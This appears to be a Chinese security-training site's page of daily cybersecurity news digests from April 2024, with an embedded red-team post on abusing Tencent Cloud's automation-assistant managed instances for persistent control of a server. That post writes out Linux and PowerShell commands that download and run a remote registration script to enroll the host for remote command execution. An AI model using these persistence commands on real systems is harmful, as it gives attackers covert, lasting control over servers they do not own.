https://www.proofpoint.com/us/blog/threat-insight/threat-actors-deliver-malware-youtube-video-game-cracks 研究人员近期发现了多个YouTube频道,这些频道通过推广破解程序和盗版游戏内容来传播恶意软件,这些视频声称可以教用户免费下载软件或游戏,但视频描述中的链接却指向恶意软件,包括Vidar、StealC和Lumma Stealer等窃密木马。许多上传了恶意视频的账号是被窃取的合法用户账号,但研究人员发现了一些可能是攻击者创建和控制的账号,这些账号只活跃几个小时,专门用于传播恶意软件。
6、谷歌修复了Pixel手机中的两个零日漏洞
https://www.bleepingcomputer.com/news/security/google-fixes-two-pixel-zero-day-flaws-exploited-by-forensics-firms/ 谷歌修复了两个被取证公司利用的Google Pixel中的零日漏洞,这些漏洞可以让取证公司无需PIN码即可解锁手机并访问存储其中的数据。CVE-2024-29745被标记为Pixel启动加载程序中的严重信息泄露漏洞,而CVE-2024-29748被描述为Pixel固件中的严重权限提升漏洞。研究人员发现取证公司积极利用了这些漏洞,这些漏洞允许公司解锁并访问Google
7、攻击者声称窃取了美国联邦雇员的数据信息
https://cybernews.com/news/acuity-allegedly-breached-confidential-data/ 攻击者声称已经入侵了与美国国家和公共安全当局合作的技术咨询公司Acuity公司尚未针对此事发布声明,。据称,联邦特工的数据和机密文件被泄露。攻击者在一个数据泄露论坛中发布了相关消息,被盗细节包括大量信息,涉及联邦调查局、国务院、司法部和国土安全部的雇员详细信息,以及美国及其盟国之间的高度机密信息。。研究团队对数据样本进行了调查,并称虽然其中可能包含一些敏感数据,但泄露的规模被夸大了。例如,信息据称被盗取的数据库表明数据可能是测试数据。该团队称,数据转
8、研究人员披露与Pikabot恶意软件相关的攻击活动
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/distinctive-campaign-evolution-of-pikabot-malware/ Pikabot是一种恶意后门,自2023年初以来一直处于活动状态。该后面使用模块化设计,由加载机和核心模块组成。核心模块执行恶意操作,允许执行命令和从命令和控制服务器注入有效载荷。该恶意软件使用代码注入器来解密核心模块并将其注入合法进程。在2024年2月期间,研究人员发现传播Pikabot的活动发生了变化。Pikabot通过多种文件类型分发,具体取决于攻击的目标和性质。使用多种文件类型允
9、IxMetro Powerhost遭受新型勒索软件SEXi攻击
https://www.bleepingcomputer.com/news/security/hosting-firms-vmware-esxi-servers-hit-by-new-sexi-ransomware 位于智利的数据服务提供商IxMetro Powerhost遭到一个名为SEXi的新勒索组织攻击。该组织对公司的VMware ESXi服务器及其备份进行了加密。目前,托管于受影响服务器上的网站或服务都无法访问,该公司正在尝试从备份中恢复数据。在最新更新中,PowerHost向客户道歉,并警告由于备份也已被加密,可能无法恢复服务器。在尝试与攻击者谈判获取解密密钥时,该勒索组织要求每个
10、谷歌修复Chrome浏览器中的一个零日漏洞
https://securityaffairs.com/161445/hacking/google-chrome-zero-day-pwn2own.html 谷歌修复了Chrome浏览器中的一个零日漏洞,该漏洞为CVE-2024-3159,并在2024年3月的Pwn2Own黑客竞赛中被利用。CVE-2024-3159漏洞是V8 JavaScript引擎中的越界内存访问漏洞,攻击者可以通过诱骗受害者访问精心制作的HTML页面来利用此漏洞,从而访问超出内存缓冲区的数据,并触发堆损坏。利用此漏洞可能会导致敏感信息泄露或崩溃。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年04月03日
1、英国杂志社THE BIG ISSUE遭受勒索软件攻击
https://therecord.media/ransomware-gang-attacks-big-issue-street-paper 英国杂志社THE BIG ISSUE近日确认遭遇了网络攻击。该公司的信息出现在了勒索组织Qilin的暗网勒索网站上。该组织声称窃取了550GB的机密数据,其中包括商业和人事运营相关文件。该杂志社证实了此次攻击事件,并表示已经开始恢复系统运行,杂志的出版和发行并未受到此事件影响。
2、游艇销售商MarineMax确认其数据泄露
https://www.bleepingcomputer.com/news/security/yacht-retailer-marinemax-discloses-data-breach-after-cyberattack/ 游艇零售商MarineMax表示,攻击者在3月份的网络攻击中,入侵其系统后窃取了员工和客户数据。MarineMax表示,经调查,该公司已确定一个网络犯罪组织访问了我们零售业务相关的信息环境的一部分,该组织窃取了少量数据,其中包括一些客户和员工信息,包含个人身份信息。虽然该公司没有指明攻击者是谁,但名为Rhysida的勒索组织声称对该攻击事件负责,目前正在暗网上以15个比
3、新加坡宝兴珠宝公司确认数据泄露事件
https://www.channelnewsasia.com/singapore/poh-heng-jewellery-data-breach-customer-information-leaked-4231691 新加坡宝兴珠宝(Poh Heng)通知顾客其数据库在3月25日发生泄露事件,未经授权的访问可能泄露了会员的个人信息,这可能包括用户的姓名、电话号码、电子邮件和居住地址、会员 ID、以及出生日期和居住国家/地区。该公司确认没有密码和付款信息泄露。
4、英国通信工人工会确认遭受网络攻击
https://www.theregister.com/2024/03/25/cwu_security_incident/ 英国通信工人工会(CWU)确认其遭受网络攻击,并且导致电子右键系统停止运行,攻击的全部范围仍在评估中。一些CWU会员数据存储在遭受攻击的IT系统中,目前该工会不确定这些个人数据是否泄露。虽然目前尚不清楚该事件是否泄露了任何数据,但考虑到CWU 18.5万名的会员人数,任何可能的泄露都可能导致严重的后果。
5、WP-Members 插件中的安全漏洞导致脚本注入
https://www.securityweek.com/security-flaw-in-wp-members-plugin-leads-to-script-injection/ WP-Members 会员插件中的跨站点脚本漏洞可能允许攻击者将脚本注入用户配置文件页面。
6、Chrome 将通过设备绑定会话凭证来打击 Cookie 盗窃行为
https://www.securityweek.com/chrome-to-fight-cookie-theft-with-device-bound-session-credentials/ 谷歌正在为 Chrome 带来新功能,将浏览器会话绑定到设备并保护用户免遭 cookie 盗窃。
7、谷歌将清除数十亿浏览器记录以解决Chrome 隐私案件
https://www.securityweek.com/google-to-purge-billions-of-files-containing-personal-data-in-settlement-of-chrome-privacy-case/ 谷歌同意清除数十亿条记录,其中包含从使用其 Chrome 网络浏览器的超过 1.36 亿人收集的个人信息,作为指控其非法监控的诉讼和解的一部分。
8、PandaBuy 数据泄露据称影响了超过 130 万客户
https://securityaffairs.com/161355/data-breach/pandabuy-data-breach.html 威胁行为者声称 PandaBuy 在线购物平台遭到黑客攻击,并泄露了超过 130 万客户的数据。
9、微软和 OpenAI 计划建立数据中心和 ‘Stargate’ 超级计算机
https://cybernews.com/news/microsoft-openai-100-billion-data-center-stargate-supercomputer/ 据消息人士称,微软-OpenAI 合资公司的成本将是目前运行的最大数据中心的 100 倍,并包含 "数百万个 GPU"。
10、针对安卓系统的Vultur银行恶意软件冒充McAfee安全应用
https://www.anquanke.com/post/id/295180 研究人员分析的最新版本的Vultur恶意软件保留了旧版本的几个关键功能,例如屏幕记录,键盘记录以及通过AlphaVNC和ngrok进行远程访问,允许攻击者实时监视和控制。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
腾讯云(CVM)托管进行权限维持
前言
刚好看到一个师傅分享了一个阿里云ECS实战攻防,然后想到了同样利用腾讯云CVM的托管亦可实现在实战攻防中的权限维持。
简介
腾讯云自动化助手(TencentCloud Automation Tools,TAT)是一个原生运维部署工具,它可以在不登录或输入密码的情况下,实现对云服务器 CVM 和轻量应用服务器 Lighthouse 的自动化远程操作。该工具支持批量执行命令,包括 Shell、PowerShell 及 Python 等,能够完成一系列自动化运维任务,如运行自动化脚本、轮询进程、安装/卸载软件、更新应用及安装补丁等。这样的便利性使得企业可以更加高效地管理和维护其云服务器和轻量应用服务器,从而提高其云计算服务的可靠性和安全性。
应用场景
上传并运行自动化运维脚本
执行常见操作任务
运行已保存的脚本
托管实例
控制台->自动化助手->托管实例
权限维持
使用默认数值即可,默认值的阈值设定和阿里云的一致
实例创建成功后,可在客户端执行命令
Linux命令
sudo wget -qO - https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.sh | sudo sh -s -- ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883
Windows
iex "& { $((New-Object System.Net.WebClient).DownloadString('https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.ps1')) } ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883"
执行命令后发现实例可托管成功,但是是离线状态
宿主服务器安装自动化助手客户端
root@ubuntu:/home/ubuntu# sudo wget -qO - https://xxxxxxxxx.cos-internal.accelerate.tencentcos.cn/tat_agent/tat_agent_installer.sh | sudo sh
查看探针状态
ps -ef | grep tat_agent
命令后,查看进程状态。如果进程不存在
/usr/local/qcloud/tat_agent/tat_agent // 启动进程
其实这里的客户端的探针类似于监听状态,一直在线,托管服务器执行命令上线
执行命令
执行结果
执行时长48秒
文件上传
文件上传权限等均可自定义。
小结
可以明显发现执行时效性不是很流畅,但是优点儿在于:
托管权限维持稳定
文件上传方便以及文件权限方便
网络安全日报 2024年04月02日
1、研究人员发现100多个针对机器学习库的恶意Python软件包
https://www.mend.io/blog/over-100-malicious-packages-target-popular-ml-pypi-libraries 研究人员近期发现100多个针对流行机器学习 (ML) 库的恶意软件包,其中包括PyTorch、Matplotlib 和Selenium等库。攻击者利用拼写错误的方式,通过故意拼写错误的域名或软件包名称来诱导开发人员下载这些软件包的恶意版本,例如“Matplotltib”、“selennim”和“PyToich”。这些恶意软件包使用Fernet加密机制来解密其恶意脚本。解密后,脚本会根据其指令获取进一步的攻击阶段。研究人员分
2、研究人员披露新的Linux提权漏洞
https://www.theregister.com/2024/03/29/linux_kernel_flaw 安全研究人员近期发现一个新的Linux提权漏洞,影响了Linux 5.14至6.6.14之间的内核版本。该漏洞影响Debian、Ubuntu、Red Hat、Fedora等Linux发行版。研究人员本周发布了关于该漏洞的详细技术报告,并表示他们提供的漏洞利用程序在内核6.4.16上的成功率为99.4%。该漏洞被标记为CVE-2024-1086,CVSS评分为7.8(满分 10)。漏洞已于1月底修复,相关安全补丁正在陆续发布。
3、思科修复其IOS和IOS XE中的多个安全漏洞
https://securityaffairs.com/161181/security/cisco-ios-and-ios-xe-software-flaws.html 思科本周发布了安全补丁,用于修复多个IOS和IOS XE软件漏洞。未经身份验证的攻击者可以利用这些漏洞进行拒绝服务 (DoS) 攻击。严重的安全漏洞包括CVE-2024-20311(CVSS评分8.6)、CVE-2024-20314(CVSS评分8.6)、CVE-2024-20307 - CVE-2024-20308(CVSS评分8.6) 、CVE-2024-20259(CVSS评分8.6)、CVE-2024-20303(C
4、美国联合健康集团承认其患者数据泄露
https://www.healthcareinfosecurity.com/unitedhealth-admits-patient-data-was-taken-in-mega-attack-a-24728 联合健康集团公开承认,其Change Healthcare部门在遭受网络攻击后数据遭到窃取。联合健康集团在3月27日发布的最新事件更新中表示,他们正在优先审查受影响的数据,该公司认为这些数据可能包含健康信息、个人身份信息、索赔和资格信息或财务信息。到目前为止,联合健康集团尚未发现任何被盗数据被发布在暗网中。由于Change Healthcare部门的系统遭到攻击导致难以访问,因此审查上
5、思科称攻击者正针对防火墙设备RAVPN服务进行密码喷射攻击
https://www.bleepingcomputer.com/news/security/cisco-warns-of-password-spraying-attacks-targeting-vpn-services/ 近期思科为客户提供了一组建议,以缓解针对思科防火墙设备上配置的远程访问VPN(RAVPN)服务的密码喷射攻击。该公司表示,这些攻击还针对其他远程访问VPN服务。攻击者会尝试使用多个帐户使用相同的密码以尝试登录,从而进行密码喷射攻击。思科提供了此活动的入侵指标 (IoC),以帮助用户检测和阻止攻击。
6、卡巴斯基报告称12%的人曾在伴侣手机上安装跟踪软件
https://www.freebuf.com/articles/paper/395070.html 《跟踪软件状态》(The State of Stalkerware)是卡巴斯基的一份年度报告,旨在更好地了解全球受这种数字跟踪形式影响的人数。卡巴斯基最新数据揭示,2023年,全球共有31031名个人用户受到跟踪软件的影响,较2022年(29312名受影响用户)有所增加。这种趋势突出了全球范围内的数字跟踪状态,并表明这个问题不会自行消失。全球23%的人表示,他们曾遭遇过来自约会对象的某种形式的在线跟踪。
7、微软 SaaS 版 Copilot for Security正式上线
https://www.freebuf.com/articles/396283.html 4月1日,微软正式上线订阅模式(SaaS)的人工智能安全服务——Microsoft Copilot for Security。据微软发布的信息,Copilot for Security 经过迭代升级,是迄今为止全球网络安全行业首个独立的生成式 AI 解决方案,可帮助安全和 IT 专业人员增强其技能、进行更多协作、查看更多内容并更快地做出响应。Copilot for Security 基于 GPT-4 模型和微软专有安全大模型。Copilot for Security 采用与微软 Azure 绑定的“按使
8、NIST 成立新联盟来运营其国家漏洞数据库
https://www.anquanke.com/post/id/295128 美国国家标准与技术研究院 (NIST) 正式宣布将把世界上使用最广泛的软件漏洞存储库的部分管理工作移交给行业联盟。
9、美国国防部发布《2024 年国防工业基础网络安全战略》
https://www.secrss.com/articles/64817 美国防部 3 月 28 日正式发布《2024 年国防工业基础(DIB)网络安全战略》,旨在加强美国防部与 DIB 合作,进一步协调和统筹资源,以提高美国国防供应商和生产商的网络安全。
10、OWASP 披露成员数据泄露事件
https://securityaffairs.com/161371/data-breach/owasp-data-breach.html OWASP 基金会披露了由于旧 Wiki Web 服务器配置错误而影响部分成员的数据泄露事件。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

